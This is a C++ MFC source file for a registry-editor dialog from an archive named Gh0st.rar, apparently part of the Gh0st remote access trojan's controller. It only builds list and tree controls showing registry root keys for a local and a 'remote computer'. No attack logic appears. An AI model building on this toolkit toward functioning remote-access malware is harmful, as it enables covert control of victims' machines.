www.pudn.com > Gh0st.rar > RegeditDlg.cpp, change:2011-02-10,size:4191b


// RegeditDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "client.h" 
#include "RegeditDlg.h" 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
///////////////////////////////////////////////////////////////////////////// 
// CRegeditDlg dialog 
 
 
CRegeditDlg::CRegeditDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CRegeditDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CRegeditDlg) 
		// NOTE: the ClassWizard will add member initialization here 
	//}}AFX_DATA_INIT 
} 
 
 
void CRegeditDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CRegeditDlg) 
	DDX_Control(pDX, IDC_TREE1, m_tree); 
	DDX_Control(pDX, IDC_LIST1, m_list); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CRegeditDlg, CDialog) 
	//{{AFX_MSG_MAP(CRegeditDlg) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CRegeditDlg message handlers 
 
BOOL CRegeditDlg::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	 
	// TODO: Add extra initialization here 
	////列表控件设置////// 
	m_list.ModifyStyle(0,LVS_REPORT|LVS_SINGLESEL); 
	if(!m_imageList.Create( 16,16,ILC_COLOR16|ILC_MASK,3,1)) 
		return -1; 
	m_imageList.Add(AfxGetApp()->LoadIcon(IDI_REGSZ)); 
	m_imageList.Add(AfxGetApp()->LoadIcon(IDI_DWORD));	 
	m_imageList.Add(AfxGetApp()->LoadIcon(IDI_REGERROR)); 
	m_list.SetImageList(&m_imageList,LVSIL_SMALL);	 
	////////////////////////////////////////////////// 
	m_list.InsertColumn(0,"名称",LVCFMT_LEFT,120,-1); 
	m_list.InsertColumn(1,"类型",LVCFMT_LEFT,120,-1); 
	m_list.InsertColumn(2,"数据",LVCFMT_LEFT,230,-1); 
	 
	//树控件设置	 
	m_imageTree.Create(16, 16, ILC_COLOR16|ILC_MASK,3, 1);	 
	m_imageTree.Add(AfxGetApp()->LoadIcon(IDI_REGCOMPUTER)); 
	m_imageTree.Add(AfxGetApp()->LoadIcon(IDI_REGFOLDERCLOSE));	 
	m_imageTree.Add(AfxGetApp()->LoadIcon(IDI_REGFOLDEROPEN)); 
	m_imageTree.Add(AfxGetApp()->LoadIcon(IDI_REG)); 
	DWORD	dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);	 
    dwStyle |=TVS_HASBUTTONS | TVS_HASLINES|TVS_LINESATROOT|TVS_SHOWSELALWAYS;	 
    SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle); 
	m_tree.SetImageList(&m_imageTree,TVSIL_NORMAL); 
	 
	///////////////初始化注册表操作 
	m_tree.DeleteAllItems(); 
	m_list.DeleteAllItems(); 
	HTREEITEM item; 
	TVITEM	childflag; 
	childflag.mask=TVIF_CHILDREN ; 
	childflag.cChildren=1; 
	m_hMyComputer=m_tree.InsertItem("我的电脑",0,0,0,0); 
	//////////////// 
	item=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,2,m_hMyComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	//////////////// 
	item=m_tree.InsertItem("HKEY_CURRENT_USER",1,2,m_hMyComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	///////////////// 
	item=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,2,m_hMyComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag);	 
	///////////////// 
	item=m_tree.InsertItem("HKEY_USERS",1,2,m_hMyComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	////////////////// 
	item=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,2,m_hMyComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	m_tree.Expand(m_hMyComputer,TVE_EXPAND); 
 
	m_hRemoteComputer=m_tree.InsertItem("远程电脑",3,3,0,0); 
	//////////////// 
	item=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,2,m_hRemoteComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	//////////////// 
	item=m_tree.InsertItem("HKEY_CURRENT_USER",1,2,m_hRemoteComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	///////////////// 
	item=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,2,m_hRemoteComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag);	 
	///////////////// 
	item=m_tree.InsertItem("HKEY_USERS",1,2,m_hRemoteComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
	////////////////// 
	item=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,2,m_hRemoteComputer,0); 
	childflag.hItem=item; 
	m_tree.SetItem(&childflag); 
//	m_tree.Expand(m_hRemoteComputer,TVE_EXPAND);//不展开 
	return TRUE;  // return TRUE unless you set the focus to a control 
	              // EXCEPTION: OCX Property Pages should return FALSE 
}